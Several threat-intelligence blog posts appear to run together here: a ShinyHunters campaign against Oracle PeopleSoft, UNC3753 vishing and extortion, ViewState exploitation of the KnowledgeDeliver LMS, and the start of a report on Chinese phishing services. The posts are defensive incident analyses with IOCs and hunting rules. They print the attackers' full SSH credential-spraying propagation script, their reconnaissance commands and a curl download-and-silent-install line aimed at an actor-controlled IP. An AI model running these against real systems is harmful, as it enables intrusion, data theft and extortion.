Mandiant and Google Threat Intelligence Group (GTIG) have identified an active compromise and extortion campaign attributed to UNC6240 (ShinyHunters) targeting Oracle PeopleSoft application infrastructure. The activity was observed between May 27, 2026, and June 9, 2026 and is consistent with the exploitation of CVE-2026-35273, a critical remote code execution vulnerability (CVSS 9.8) in the Environment Management component. The exploitation of this vulnerability directly aligns with the observed targeting of Environment Management Hub (PSEMHUB) endpoints. Because this activity predates Oracle's June 10, 2026 advisory, the vulnerability was exploited as a zero-day.

Upon becoming aware of active scanning and exploitation, we initiated notifications to over 100 global organizations whose IP addresses correlated with potentially vulnerable endpoints. Most of these organizations were based in the United States, and 68 percent operated within the higher education sector. Subsequently, public reports by @nahamike01 on X highlighted open attacker directories on the staging servers, allowing GTIG to perform a detailed triage of the threat actor's operations. 

The attacker staging environments hosted customized MeshCentral agents masquerading as legitimate cloud endpoints, which they used to run administrative command queries and deploy a custom lateral movement and defacement script, [victim_abbreviation]_fanout.sh. This campaign directly correlates with subsequent data leaks of stolen organization data published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026. 

We recommend that organizations running Oracle PeopleSoft take the following immediate actions to best defend themselves. Additional remediation and hardening guidance is included later in this post.

aside_block

<ListValue: [StructValue([('title', 'Remediation and Hardening Quick Guide'), ('body', <wagtail.rich_text.RichText object at 0x7f65cc249e20>), ('btn_text', ''), ('href', ''), ('image', None)])]>

Threat Detail & Campaign Overview

On June 9 2026, public threat reports highlighted open attacker directories. GTIG triaged five sequential IP addresses: 142.11.200.186, 142.11.200.187, 142.11.200.188, 142.11.200.189, and 142.11.200.190. These systems were hosting Python SimpleHTTP servers on port 8888, exposing directory contents that included staging materials, customized agents, and attacker command histories.

The staging infrastructure hosted pre-configured Windows MeshCentral agent binaries disguised as Microsoft Azure services, specifically named meshagent32-azure-ops.exe, meshagent64-azure-ops.exe, and meshagent64-v2.exe. MeshCentral is an open-source remote management server; its agent is software that runs on remote devices to allow for remote management across various operating systems, including Windows, Linux, macOS, and FreeBSD. Static analysis indicates these agents were hardcoded to establish communication with the command and control (C2) server wss://azurenetfiles.net:443/agent.ashx. The domain azurenetfiles.net was chosen to mimic legitimate Microsoft Azure NetApp Files endpoints, a common masquerading tactic. An unconfigured Linux meshagent binary was also staged, suggesting that the threat actors passed parameters dynamically via the command line during deployment.

Global Notification Response Campaign

Prior to the discovery of the open staging directories, we began an effort to alert over 100 exposed organizations to assist in restricting access to vulnerable endpoints. These organizations are significantly concentrated in the Higher Education sector; 68 percent are academic institutions, including universities and colleges worldwide.

While several organizations successfully blocked the activity or remediated the vulnerabilities, others experienced compromise, resulting in stolen data being published on the ShinyHunters DLS.

Technical Analysis & Command History

The exposed .bash_history file, which was identical across all five staging hosts, outlines the server configuration and administrative actions. The technical narrative begins with the configuration of the staging environment. On May 27, 2026, at 22:14 UTC, the attackers installed the MeshCentral remote management server (version 1.1.59) to establish their C2 staging environment. Shortly after, at 22:25 UTC, they installed the acme-client npm package to automate the provisioning of Let's Encrypt SSL certificates for the masquerading domain "azurenetfiles.net".  The attackers interacted with compromised systems using the MeshCentral command-line interface utility meshctrl.js.

The command history shows the threat actors performing targeted reconnaissance within compromised internal networks. They mapped Oracle PeopleSoft configurations by inspecting mount points, checking the process scheduler configuration file psappsrv.cfg, and reading WebLogic server XML configurations (config.xml). The session log ends with the attackers establishing an outbound SSH connection from their staging system to 176.120.22.24, which hosts the public clearnet mirror of the ShinyHunters DLS.

An analysis of the exposed command history reveals the key administrative and malicious operations performed by the threat actors on the staging servers (timestamps were not available in every case):

1. Staging Infrastructure Setup:

1. May 27, 2026, 22:14 UTC: Installed MeshCentral (v1.1.59) and 22:25 UTC: Installed "acme-client" to establish the C2 staging environment and automate SSL certificate provisioning for azurenetfiles.net.

2. Staged the compiled Windows agent binaries (meshagent32-azure-ops.exe, etc.) designed to communicate back to the C2 address: wss://azurenetfiles.net:443/agent.ashx.

3. May 29, 2026, 18:46 UTC: The attackers checked for the availability of the "authenticode" tool on the staging system using the command npm list global authenticode. This command would return any npm package with a name starting in 'authenticode', such as authenticode-sign, used for signing binaries, or authenticode, used for examining metadata on a file.

2. Targeted Internal Reconnaissance:

• Leveraged the MeshCentral CLI utility meshctrl.js to execute administrative command queries on compromised remote endpoints: hostname; id.

• Mapped Oracle PeopleSoft system configurations by inspecting the process scheduler configuration file (psappsrv.cfg) to extract machine names and IP addresses:

grep -hE '\''^[[:space:]]*Address=|^[[:space:]]*HostName='\'' /u01/app/psoft/ps_config_homes/csprd/appserv/prcs/psappsrv.cfg 2>/dev/null | head -80

• Audited network configurations and active mounts on compromised hosts: mount | grep -E "psoft|ps_config|nfs".

• Mapped internal subnet hosts by querying local hosts tables: cat /etc/hosts | grep -E "[redacted_victim_string]".

• Inspected WebLogic XML configurations (config.xml) to map internal application servers.

3. Lateral Movement & Script Propagation:

• Wrote the lateral propagation script [victim_abbreviation]_fanout.sh via a heredoc to /tmp on the staging host.

• Triggered the execution of the propagation script on compromised hosts using the MeshCentral command execution feature:

node meshctrl.js RunCommand --loginuser admin --loginpass '[password]' --id '[agent_id]' --run 'bash /tmp/[victim_abbreviation]_fanout.sh'

• Verified propagation success by running remote checks for the defacement marker file README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT.

4. Exfiltration & DLS Connection:

• Compressed exfiltrated directories containing stolen data using zstd:

pv -s "$(du -sb exfil | awk '{print $1}')" | zstd -3 -T0 -o exfil.tar.zst

• Concluded operations by establishing an outbound SSH connection from the staging host to 176.120.22.24, the IP address hosting the public mirror of the ShinyHunters Data Leak Site.

Propagation Script & Lateral Movement

As observed in the .bash_history log, the threat actors wrote a propagation script named [victim_abbreviation]_fanout.sh directly to the /tmp directory of the compromised system. This script automates SSH credential spraying against internal hosts by parsing hostnames from the local /etc/hosts file matching a specific naming pattern. The script attempts authentication using a hardcoded list of common administrative and application-specific usernames and passwords.

Upon establishing a successful SSH session, the script copies a defacement and extortion marker file named README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT into the WebLogic and Process Scheduler directories. This staging and deployment activity directly correlates with the publication of stolen archives on the ShinyHunters DLS on June 9, 2026.

The redacted contents of the propagation script [victim_abbreviation]_fanout.sh are as follows:

set +e
SRC="/u01/app/psoft/ps_config_homes/csprd/webserv/CSPRD02/README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
NAME="README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
BASE="/u01/app/psoft/ps_config_homes/csprd"
export PATH=/usr/bin:/bin
# hosts from /etc/hosts — internal PS nodes only
HOSTS=$(grep -E '[redacted_victim_host_pattern]|csprd[0-9]' /etc/hosts | awk '{print $2}' | grep -v '^#' | sort -u)
echo "HOSTS=$(echo $HOSTS | wc -w)"
PWDS="[redacted_passwords]"
USERS="[redacted_usernames]"
OK=0; FAIL=0; SKIP=0
for h in $HOSTS; do
  echo "=== $h ==="
  copied=0
  for u in $USERS; do
    for p in $PWDS; do
      sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=no $u@$h "hostname" >/dev/null 2>&1 && {
        for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
          sshpass -p "$p" ssh -o StrictHostKeyChecking=no $u@$h "test -d $dest && mkdir -p $dest && cat > $dest/$NAME" < "$SRC" 2>/dev/null && echo "  OK $dest ($u)" && OK=$((OK+1)) && copied=1
        done
        break 2
      }
    done
  done
  if [ $copied -eq 0 ]; then
    # try key-based
    ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=yes $USER@$h "hostname" >/dev/null 2>&1 && copied=1 || true
    if [ $copied -eq 0 ]; then echo "  FAIL ssh"; FAIL=$((FAIL+1)); fi
  fi
done
# local paths on this host
for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
  if [ -d "$dest" ]; then cp -f "$SRC" "$dest/$NAME" && chmod 644 "$dest/$NAME" && echo "LOCAL OK $dest"; fi
done
echo SUMMARY ok=$OK fail=$FAIL
find $BASE -name "$NAME" -type f 2>/dev/null

Remediation and Hardening

To defend against this campaign, we recommend that organizations running Oracle PeopleSoft immediately implement the following security measures:

Network Isolation & WAF Rules

• Endpoint Access Restrictions: If you cannot disable the EMHub Service, immediately block external network access to the sensitive endpoints /PSEMHUB/* (specifically /PSEMHUB/hub) and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Relying solely on Web Application Firewall (WAF) body-inspection rules is insufficient, as these controls can be bypassed.

• Non-Breaking Action: Restricting these endpoints is considered non-breaking for standard end-user operations. The Environment Management Hub (EMHub) and the Integration Broker Listening Connector are administrative or system-to-system components and are not required for the core user-facing PeopleSoft Internet Architecture (PIA) browser sessions.

Log & Endpoint Monitoring

• Access Log Analysis: Audit the PIA WebLogic access logs for HTTP POST requests directed at /PSEMHUB/hub and /PSIGW/HttpListeningConnector originating from external or untrusted source IP addresses.

• SSRF Detection: Analyze requests to /PSIGW/HttpListeningConnector for loopback IP addresses (such as 127.0.0.1, localhost, or ::1) or internal IP ranges passed within request headers or parameters. This is a common method for attackers to perform Server-Side Request Forgery (SSRF) to bypass access controls.

Network Telemetry

• Outbound Port 445 Monitoring: Monitor outbound firewall logs and NetFlow data for outbound SMB traffic (TCP port 445) originating from PeopleSoft hosts to untrusted, external internet destinations. The exploit chain may coerce the system into making outbound connections in an attempt to capture Windows machine-account NetNTLM hashes.

Host-Level Auditing & Filesystem Checks

Conduct a thorough forensic audit of the web-tier filesystem on PeopleSoft hosts for indicators of compromise:

• Webshell Detection: Scan the WebLogic web application directory <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/ for any unexpected *.jsp files that are not part of the shipped product.

• Unauthorized Staging: Inspect the staging directory .../PSEMHUB.war/envmetadata/transactions/ for unauthorized folders, files, or binary drops.

• Unexpected Directories: Look for unexpected directories named logs, persistantstorage, or scratchpad under the PSEMHUB directories.

• XMLDecoder Persistence: Check <docroot>/envmetadata/data/environment/ for recently created or modified .xml files, which may be leveraged by threat actors to execute remote code via XMLDecoder upon application restart.

In alignment with Oracle’s security advisory, we consider the implementation of these mitigations to be a high-priority risk reduction measure and strongly recommend immediate action to address the identified exposure. As this vulnerability is remotely exploitable without authentication and may result in remote code execution, organizations must remain on actively supported versions and apply all Critical Patch Updates, Critical Security Patch Updates, and Security Alerts without delay. Review the full Oracle Security Alert Advisory - CVE-2026-35273 for complete details.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI collection for registered users.

Staging & C2 Network Indicators

• 142.11.200.186

• 142.11.200.187

• 142.11.200.188

• 142.11.200.189

• 142.11.200.190

• azurenetfiles.net

Staging Payloads & Attacker Files

Google Security Operations (SecOps)

SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats rule pack:

• Oracle PeopleSoft Configuration Inspection

• Oracle PeopleSoft Suspicious JSP File Write to PSEMHUB

• Sshpass Interactive File Deployment

• Data Archiving or Compression via Zstd Utility

• MeshCentral Command Execution via Meshctrl

Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan

Introduction 

From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign executed by the threat cluster UNC3753 (also tracked as "Luna Moth," “Chatty Spider,” and "Silent Ransom Group") targeting dozens of organizations across professional, legal, and financial services in the United States.

UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments. Using pretexts such as data migration or invoice related emails, the threat actors initiate phone conversations posing as IT support and convince targets to host screen-sharing sessions and download remote monitoring and management (RMM) utilities. Once inside the environment, the threat actors either directly conduct searches to locate and exfiltrate highly sensitive data, or manipulate the victim into executing these actions on their behalf. This data typically includes proprietary legal agreements, personally identifiable information (PII), and financial records for subsequent extortion demands.

Notably, in instances possibly linked to UNC3753, threat actors have accessed victims' systems in person. In these physical incidents, individuals posing as IT technicians entered corporate offices to attempt direct exfiltration of data from an endpoint using USB storage media. 

This blog post details the threat group's technical lifecycle across recent Mandiant Consulting incident response engagements, highlights tactics like physical office targeting, and provides actionable recommendations to safeguard endpoints and infrastructure.

Threat Detail

The UNC3753 campaign lifecycle reflects an optimized, fast-tempo operational model. In many Mandiant investigated incidents, the entire attack sequence—from initial target contact to data theft and extortion—occurred within a single business day. Recently, Mandiant observed data searches, staging, and theft initiated in under an hour. 

The threat group frequently initializes campaigns using benign, invoice-themed email lures sent from actor-controlled consumer email accounts. These messages contain no active links or malicious attachments. Instead, they typically contain a brief, generic message for example: “hello, here is the invcoie we talked about yesterday”. Google Threat Intelligence Group (GTIG) assesses that the primary purpose of these emails is to establish a pretext, raising the target's internal security concerns so they are more susceptible to follow-up voice calls.

Initial Access via IT Helpdesk Impersonation

The core of UNC3753's entry mechanism relies on targeted vishing. Mandiant has observed the group targeting personnel across all seniority levels, who are often publicly listed on the organization’s websites, to harvest phone numbers and email addresses. Acting as members of the organization's internal IT helpdesk or security team, threat actors place direct calls to these employees. 

The callers use a variety of verbal instructions to guide target behavior. Under the guise of addressing a security issue or aiding with a corporate data migration project, they build trust and direct the target to join a screen-sharing session.

Remote Screen Control and Legitimate Tool Abuse

Once the target is engaged, the threat actors bypass conventional automated boundary security and email filtering controls by instructing the user to download and execute screen-sharing applications. 

Screen-Sharing Utilities

UNC3753 instructs targets to initiate remote desktop and support sessions using built-in or commercial services, including Zoom, Microsoft Terminal Services, Microsoft Teams, and Quick Assist. During a Teams-facilitated intrusion, the threat actor held five distinct calls with the same target over a three-day period.

Commercial RMM Agents

UNC3753 frequently attempts to establish more persistent access by social engineering targets into downloading AnyDesk, Bomgar, or Zoho Assist installers. In one engagement, the threat actor attempted to install a "SuperOps RMM agent" by convincing the target to download and execute a payload via a cURL command.

Message Delivery via Privnote

Threat actors consistently utilize privnote[.]com, a web-based, self-destructing text utility, to transmit installation links and commands to targets. This evasion technique ensures that copy-paste vectors leave no permanent footprint on endpoint browsers or chat logs.

Example cURL command staging string observed in UNC3753 remote sessions:

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Infrastructure Pivoting and Local Staging

Intrusions have abused Bring Your Own Device (BYOD) remote environments to access internal enterprise assets. In separate Mandiant Consulting cases, UNC3753 established Zoom sessions directly on targets' personal BYOD endpoints. Using these compromised personal laptops, they accessed corporate virtual desktop infrastructure (VDI) using native client platforms, such as Windows 365 (Windows365.exe) or Citrix clients. 

Once VDI environment access is secured, the threat actors pivot to corporate file systems:

1. System Enumeration: The threat actors map local directories, enumerate active OneDrive folders, and crawl mapped network drives.

2. Document Management Targeted Harvesting: Threat actors target specific legal and document storage repositories.

3. Keyword Search and File Staging: Threat actors use specific keyword search functions within iManage to locate highly sensitive folders containing tax logs (Forms W-2, W-9, and 1099), audit files, corporate client agreements, and Social Security numbers (SSNs). Staged results are compiled and sorted within target-accessible subdirectories, primarily inside the user's Downloads folder or native Roaming profile path.

Data Theft

UNC3753 exfiltrates the staged data using a variety of methods to bypass security controls. They frequently use portable versions of WinSCP or Rclone. In other instances, they simply log into a threat actor-controlled consumer file sharing account directly within the victim's web browser and batch upload the stolen files.

• Cloud Storage Staging: Threat actors instruct targets—or directly control their screens—to drag and drop staged folders into threat actor-controlled consumer file sharing accounts. In several intrusions, the exfiltration destination included folders explicitly renamed to mimic the victim organization's branding.

• FTP Utilities: When browser-based uploads are restricted by endpoint controls, threat actors download FTP and SFTP client binaries, primarily WinSCP, to exfiltrate bulk packages. In one incident, the threat group exfiltrated 1.7 gigabytes of data from a target's local OneDrive folder to a Google Drive account before pivoting to a VDI session and exfiltrating an additional 14.4 gigabytes using WinSCP. Google has taken action against this actor by disabling the Drive accounts and assets associated with this activity.

• Email Forwarding: The threat actors have also had victims stage files from internal iManage repositories and instructed them to send the files to threat actor-controlled consumer email addresses from the target's mailbox.

Threat Actor Extortion Tactics

The threat cluster delivers unbranded extortion communications via email shortly after successfully stealing data, often within 30 minutes of exiting the target environment. 

These highly aggressive extortion letters give organizations a three-day deadline to respond and initiate ransom negotiations. If the victim organization is unresponsive, the threat actors declare they will call and email target employees and external clients directly to alert them of the data breach. The extortion letters explicitly emphasize that the leak will compromise client trust, invite substantial regulatory fines, and suggest that external clients sue the victim organization for data mishandling. Additionally, as part of a follow-on message the group has threatened to publish all exfiltrated archives on the LEAKEDDATA data leak site (DLS).

Sample Extortion Email

Figure 2: UNC3753 extortion note example

Data Leak Site

Suspected UNC3753 Activity Involving Physical Access

While UNC3753 primarily relies on digital vectors, GTIG assesses that associated threat actors have also attempted direct data theft using physical, in person access. This escalating tactic is corroborated by a recent FBI Cyber FLASH Alert highlighting instances where Silent Ransom Group threat actors leveraged physical office access to exfiltrate corporate data via removable USB media.

According to the FBI advisory, if remote social engineering attempts fail, actors will send an individual to a victim's physical location. The onsite threat actor will claim they need to image the device or create local backups to address a security issue. Once they gain access to the endpoint, they attempt to exfiltrate corporate data directly to an external drive.

Although limited forensic evidence and the absence of a subsequent extortion attempt prevent formal attribution, GTIG assesses that these physical intrusions are likely associated with UNC3753 based on structural, timeline, and targeting overlaps.

Attribution

GTIG attributes this campaign and related social engineering operations to UNC3753 based on infrastructure overlaps, domain registrar tracking, victimology, and target staging directories. UNC3753 (aliases: "Luna Moth," “Chatty Spider,” and "Silent Ransom Group (SRG)") is a financially motivated threat cluster active since at least March 2022. UNC3753 has TTP overlaps with UNC2686, a threat cluster that conducted "Bazarcall" style campaigns dating to early 2021. UNC3753 deployed LOCKBIT.BLACK in 2022, but has since prioritized data theft extortion-only operations typically involving threats to post stolen files to the LEAKEDDATA DLS. The threat cluster relies heavily on Remote Monitoring and Management (RMM) tools, unlike UNC2686 which deployed BAZARLOADER variants as well as TRICKBOT, URSNIF, and SILENTNIGHT. Initially, UNC3753 used subscription-themed billing email lures (such as fake software renewal alerts), typically with PDF attachments containing phone numbers for actor-controlled call centers. Beginning around March 2025, the cluster shifted tactics to pose as internal corporate IT helpdesk staff.

Remediation and Hardening

To mitigate the risk of voice phishing, physical office intrusions, and unauthorized endpoint control, GTIG recommends that organizations implement the following mitigation controls:

User Education

Conduct user awareness training specifically tailored to UNC3753 tactics, techniques, and procedures.

Physical Access and Verification Policies

Implement rigid out-of-band identity verification controls for all external contractors, technical staff, and facilities visitors. Mandate the following physical controls:

• Require visitors to display official credentials and photo identification.

• Require front-desk staff to copy and log all physical visitor IDs before granting access.

• Verify the arrival of all technicians against pre-scheduled work orders directly with the verified parent organization or helpdesk dispatcher.

• Enforce a policy requiring physical technical service personnel to be escorted by a corporate supervisor at all times.

Remote Access Conditional Access Controls

Implement remote access conditional access policies to ensure only corporate owned devices can authenticate to Virtual Desktop Instance (VDI) or Virtual Private Network (VPN) devices. This facilitates increased organizational control and visibility for potential Remote Monitoring and Management usage. 

Enforce Strict RMM and Screen-Sharing Software Controls

Audit corporate environments to block the installation and execution of unauthorized remote monitoring, management, and support utilities. Enforce application control policies (e.g. Windows Defender Application Control or third-party endpoint protection tools) to restrict execution of non-approved binaries. Organizations may also consider restricting interactive screen-control features within authorized virtual meeting platforms like Zoom and Teams. 

Endpoint Removable Media Hardening

To neutralize physical exfiltration vectors, disable read/write capabilities for all external USB mass storage devices. Enforce Group Policy Objects (GPOs) or MDM configurations to restrict:

• USB storage device installation.

• Removable media access.

• Optical media writes on all corporate endpoints and BYOD systems utilizing VDI entry.

Network Monitoring and Egress Control

Monitor firewall logs, network flows, and endpoint execution logs for indicative exfiltration and staging actions. Specifically:

• Block or alert on outbound connections to unauthorized file-sharing APIs and emails.

• Ensure full session logging with bytes transferred is enabled within Firewall log configurations.

• Monitor SSH traffic (Port 22) from internal VDIs and endpoints for high-volume WinSCP and Rclone transfers.

Application Log and Access Auditing

Review authentication and access metrics for critical document stores to identify bulk harvesting profiles.

• Configure real-time alerts in iManage, SharePoint, and corporate email directories for rapid file searches, search-term spikes, and mass file downloads.

• Implement multi-factor authentication (MFA) on business critical data repository applications, such as iManage. 

• Implement strict BYOD authentication controls, requiring MFA step-up queries when accessing VDI nodes.

Outlook and Implications

The targeting of US legal and professional services organizations by financially motivated actors is a persistent industry risk. Legal services firms represent high-value targets for extortion actors. They maintain concentrated repositories of extremely sensitive client transaction files, merger and acquisition plans, client trade secrets, and corporate regulatory reports. Threat groups recognize that legal entities are subject to heavy reputational and regulatory exposure and may be highly motivated to resolve extortion situations quietly to protect their professional standing.

Threat actors recognize that targeting the human element—specifically using voice-guided social engineering—enables them to easily bypass robust technical perimeters, web security gateways, and MFA configurations. 

Finally, the integration of in-person, physical intrusions represents an escalation in threat capability. While log-based defenses and endpoint telemetry have matured, physical corporate boundaries are frequently protected only by administrative procedures. Organizations must transition to a unified security posture that treats physical facility access control and endpoint-based hardware policies as equal components of their defensive perimeter.

Data Leak Site (DLS)

UNC3753 utilizes the following web platform to disclose the identities of victims and their compromised data.

• hxxps[:]//business-data-leaks[.]com

Phishing Domains

GTIG identified infrastructure registrations by suspected UNC3753 actors utilizing specific naming conventions, assessed as supporting their ongoing social engineering and vishing activities.

• <organization>-itdesk[.]com

• <organization>-it[.]com

• <organization>-helpdesk[.]com

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Execute MSI Files Downloaded via Curl

• Suspected Rclone Exfiltration

MITRE ATT&CK

Written by: Takahiro Sugiyama, Peter Revelant, Mathew Potaczek

Introduction

In late 2025, Mandiant responded to a security incident involving a compromised web server running KnowledgeDeliver. KnowledgeDeliver is a Learning Management System (LMS) developed by Digital Knowledge commonly used in Japan. Mandiant identified a critical vulnerability that allowed unauthenticated Remote Code Execution (RCE). An unknown threat actor leveraged this access to inject malicious code into the LMS platform, with the goal of infecting users visiting the site.

This vulnerability stems from the use of identical pre-shared ASP.NET machine keys across multiple customer deployments. The vulnerability was initially exploited as a zero-day, now tracked as CVE-2026-5426.

The Vulnerability

KnowledgeDeliver installations deployed before Feb. 24, 2026 relied on a standardized web.config file provided by the vendor. This configuration file contained hardcoded machineKey values used by the ASP.NET framework to encrypt and sign data, including ViewState payloads.

Because these keys were identical across independent customer environments, a threat actor who obtained the keys from one deployment could compromise any other internet-facing KnowledgeDeliver instance.

The following is an example of the relevant configuration line found in the web.config file:

<machineKey decryptionKey="<REDACTED>" validationKey="<REDACTED>" />

The ASP.NET ViewState persists page state across postbacks. When the machineKey is known, a threat actor can craft a malicious ViewState payload. By sending this payload in an HTTP request (via the __VIEWSTATE parameter), the threat actor can make the server deserialize it.

This technique follows the pattern of the ViewState Deserialization Zero-Day Vulnerability affecting Sitecore (previously reported by Mandiant), and Code injection attacks using publicly disclosed ASP.NET machine keys reported by Microsoft. This highlights how it is critical to keep the machine key unique and secure.

Post-Exploitation Activity

Once access was established, the threat actors focused on maintaining their presence and expanding the impact of the compromise.

BLUEBEAM Web Shell Deployment

The threat actor deployed a .NET-based in-memory web shell called BLUEBEAM (also known as Godzilla). The use of BLUEBEAM is consistent with the Microsoft reporting. This malware operates entirely in memory within the IIS worker process (w3wp.exe), making it difficult to detect through traditional file-based scanning. It allows threat actors to execute further commands and payloads by sending encrypted data via HTTP POST request bodies.

File Tampering

The threat actor was observed executing commands to escalate their control over the web server's file system:

1. Permission Modification: The threat actor used icacls to grant "Everyone" full access to the web application directory.

2. JavaScript Tampering: The threat actor modified an application JavaScript file, adding code to perform the following:

• Display a fake security alert, prompting users to install a "security authentication plugin".

• Silently load a remote malicious script hosted on a threat actor-controlled domain.

Cobalt Strike Infection

The remote script convinced users to download a fake installer, which led to workstations being infected with a Cobalt Strike BEACON backdoor. The payload was encrypted using a key that used the name of the compromised organization, which indicated that the threat actor prepared this payload specifically for the targeted organization.

How to Hunt for This Activity

Organizations should monitor for the following indicators to identify potential ViewState exploitation and post-exploitation activity.

1. Application Event Logs (Event ID 1316)

Monitor the Windows Application log for Event ID 1316 from the source ASP.NET 4.0.30319.0 (or similar).

• Failed Attempt (Integrity Failure): Event code: 4009-++-Viewstate verification failed. Reason: The viewstate supplied failed integrity check. May indicate an attack attempt with an incorrect key.

• Successful Execution (Invalid ViewState): Event code: 4009-++-Viewstate verification failed. Reason: Viewstate was invalid. Confirms integrity checks were passed. Deserialization of the payload was attempted and may have succeeded. The payload may or may not have been executed. 

Mandiant decrypted payload strings recorded in the event log messages with the server’s machine keys and recovered a payload related to a BLUEBEAM web shell.

2. Suspicious Process Activity

Monitor for unusual child processes spawned by w3wp.exe. Commands observed include:

• cmd.exe /c ...

• whoami

• powershell.exe

3. File Integrity Monitoring

Monitor for unauthorized changes to .js, .aspx, or .config files within the web root. Specifically, look for the addition of remote script loaders or unusual logic in commonly used libraries.

4. Anomalous User-Agent Strings

Mandiant identified User-Agent strings consisting of two distinct identifiers concatenated together, which were consistent with ones reported in ViewState Deserialization Zero-Day vulnerability. Monitor for web request logs for such anomalous User-Agent strings. The following are examples of identified User-Agent strings:

• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

• Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Remediation and Mitigation

• Rotate Machine Keys: Immediately generate a unique, cryptographically strong machine key for each KnowledgeDeliver instance. This is the only way to invalidate the shared secret.

• Restrict Access: If possible, limit access to the LMS to known organizational IP address ranges.

• Investigation: Hunt for this activity, and conduct a thorough investigation if any signs of exploitation are identified.

Outlook and Implications

The exploitation of KnowledgeDeliver highlights the severe risks of using shared secrets in deployment templates. A single leaked key can compromise an entire ecosystem of installations. By implementing unique secrets and robust endpoint monitoring, organizations can defend against these deserialization attacks.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a free GTI Collection for registered users.

Google Security Operations (SecOps) 

The following SecOps searches can be used to hunt for this activity.

(metadata.log_type = "WINEVTLOG" or metadata.log_type = "WINEVTLOG_XML") 
metadata.product_event_type = "1316"
additional.fields["Message"] = /Event code: 4009\b/ nocase

(metadata.event_type = "PROCESS_LAUNCH" or metadata.event_type = "PROCESS_OPEN") AND
principal.process.command_line = /w3wp.exe/ nocase AND
target.process.command_line = /cmd.+ \/c |whoami|powershell/ nocase

SecOps customers have access to the following rules and more under the Mandiant Hunting Rules, Mandiant Frontline Threats, Mandiant Intel Emerging Threats rule packs:

• ASP.NET ViewState Deserialization Attempt

• W3wp Launching Cmd With Recon Commands

• W3wp Launching Encoded Powershell

• W3wp Launching Icacls

• Web Server Process Launching Whoami

• IIS ViewState Exploitation Success

• IIS ViewState Exploitation Followed by Web Root File Tampering

• Possible Windows Exchange Server Spawning Shell

Acknowledgements

Mandiant would like to extend our thanks to the Digital Knowledge team for their collaboration regarding this disclosure.

While Russian-speaking threat actors have historically dominated the phishing-as-a-service (PhaaS) landscape, a rival ecosystem is rapidly growing within the Chinese-language underground. Google Threat Intelligence Group (GTIG) analyzed a dozen current PhaaS offerings in the Chinese underground, all of them mature services and many likely tied intricately to the broader criminal ecosystem in that region. These services not only lower the barrier to entry for Chinese cyber criminals, but reveal broader patterns on the evolution of social engineering and credential theft. Late last year, Google took legal action against one PhaaS provider and has worked since then to endorse legislation and enact technical safeguards against these types of scams.

Within this ecosystem, GTIG has observed a fundamental move away from static password harvesting towards real-time interception and tokenization. By utilizing live administration panels, attackers can interact with victims in real-time to capture one-time passcodes (OTPs), allowing them to bypass multifactor authentication (MFA) instantly.

Instead of simply gaining account access, these operations focus on exploiting digital wallet provisioning to transform stolen payment data into tokenized assets within ecosystems. This shift—combined with the use of encrypted delivery channels like RCS and iMessage to bypass traditional carrier security filters on SMS messages—represents an emerging development where the goal is no longer just a login, but securing direct, unauthorized control over a victim's financial accounts.

The Chinese-Language PhaaS Ecosystem 

The Chinese-language PhaaS ecosystem is not merely a regional mirror of Russian operations – it is a distinct market shaped by a unique professional culture. Nearly all the legitimate organizations mimicked by these phishing services are non-Chinese entities, suggesting they rarely target China.

• Public impact: Unlike the major Russia-based PhaaS offerings that are typically used to target customers of large organizations, phishing services advertised in Chinese-language communities are often designed to target the general public more opportunistically.

• Open Operations: In contrast to their Russian-speaking counterparts, providers of Chinese-language phishing services often operate openly with less regard for operational security. For instance, the threat actors running these services regularly post photos of their luxury lifestyles on Telegram.

• Focus on Telegram: Advertisements for the phishing services are regularly posted to Telegram rather than channels such as WeChat (Weixin) or Tencent QQ, which are regionally more popular. This approach is consistent with the broader Chinese-language cyber crime ecosystem.

